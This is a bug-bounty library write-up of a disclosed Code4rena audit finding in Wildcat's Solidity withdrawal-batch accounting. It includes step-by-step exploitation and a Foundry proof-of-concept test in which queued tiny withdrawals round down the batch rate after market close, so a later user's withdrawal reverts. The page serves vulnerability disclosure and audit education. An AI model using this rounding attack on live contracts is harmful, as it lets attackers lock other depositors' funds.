# User could withdraw more than supposed to, forcing last user withdraw to fail

In Wildcat, closing a market lets early withdrawers execute at a higher rate, so later batch members' withdrawals revert with insufficient normalizedUnclaimedWithdrawals, trapping funds.

- Payout: Audit contest
- Severity: high
- Program: Wildcat
- Found by: deadrxsezzz
- Disclosed: 2024-10-24
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-08-wildcat-findings/issues/64
- Library page: https://bugbountylibrary.com/r/c4%3A2024-08-wildcat%3AH-01
- Tags: area:web3 domain:web3 impact:dos impact:funds-loss kind:contest platform:code4rena sev:high tech:solidity technique:source-review vuln:accounting-error vuln:business-logic vuln:precision-loss

**Target:** Wildcat market withdrawal batch accounting (Solidity)
**Root cause:** Withdrawals are pro-rata via mulDiv(normalizedAmountPaid, scaledAmount, scaledTotalAmount); when a market is closed, requests can execute before all are queued, so early executions at a higher rate plus precision loss from many small requests break the sum<=normalizedAmountPaid invariant.
**Steps:**
1. Deposit alice 1e18, bob 0.5e18, laurence 0.5e18; set annualInterestBips=3650; fastForward 200 weeks.
2. Alice calls `queueFullWithdrawal()` to get expiry, then borrower calls `closeMarket()`.
3. Alice calls `executeWithdrawal(alice, expiry)` at the current (higher) rate.
4. Bob loops 10x `queueWithdrawal(1)` then `queueFullWithdrawal()` to round down the batch rate.
5. Laurence calls `queueFullWithdrawal()`.
6. Bob calls `executeWithdrawal(bob, expiry)` succeeds; `executeWithdrawal(laurence, expiry)` reverts due to insufficient `state.normalizedUnclaimedWithdrawals`.
**How found:** Reasoned about the pro-rata mulDiv invariant and noticed that closing a market allows partial batch execution before all requests are added, breaking the sum<=normalizedAmountPaid invariant via precision loss.
**Exploitation:** Attacker queues many tiny withdrawals to induce rounding-down of the batch rate, then executes after a large withdrawer has already executed at a higher rate post-close, leaving insufficient normalizedUnclaimedWithdrawals so the final user's withdrawal reverts and funds are stuck.
**Insight:** When a pro-rata payout uses integer division and batches can be partially executed (e.g. after market close), test whether many tiny shares round the batch rate down enough that earlier executions at a higher rate starve later ones.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test for withdrawal rounding exploit**

```
function test_deadrosesxyzissue() external {
    parameters.annualInterestBips = 3650;
    _deposit(alice, 1e18);
    _deposit(bob, 0.5e18);
    address laurence = address(1337);
    _deposit(laurence, 0.5e18);
    fastForward(200 weeks);

    vm.startPrank(borrower);
    asset.approve(address(market), 10e18);
    asset.mint(borrower, 10e18);

    vm.stopPrank();
    vm.prank(alice);
    uint32 expiry = market.queueFullWithdrawal();       // alice queues large withdraw

    vm.prank(borrower);
    market.closeMarket();                               // market is closed

    market.executeWithdrawal(alice, expiry);     // alice withdraws at the current rate

    vm.startPrank(bob);
    for (uint i; i < 10; i++) {
      market.queueWithdrawal(1);        // bob does multiple small withdraw requests just so they round down the batch's overall rate
    }
    market.queueFullWithdrawal();
    vm.stopPrank();
    vm.prank(laurence);
    market.queueFullWithdrawal();

    market.executeWithdrawal(bob, expiry);     // bob can successfully withdraw all of his funds

    vm.expectRevert();
    market.executeWithdrawal(laurence, expiry);    // laurence cannot withdraw his funds. Scammer get scammed.

  }
```

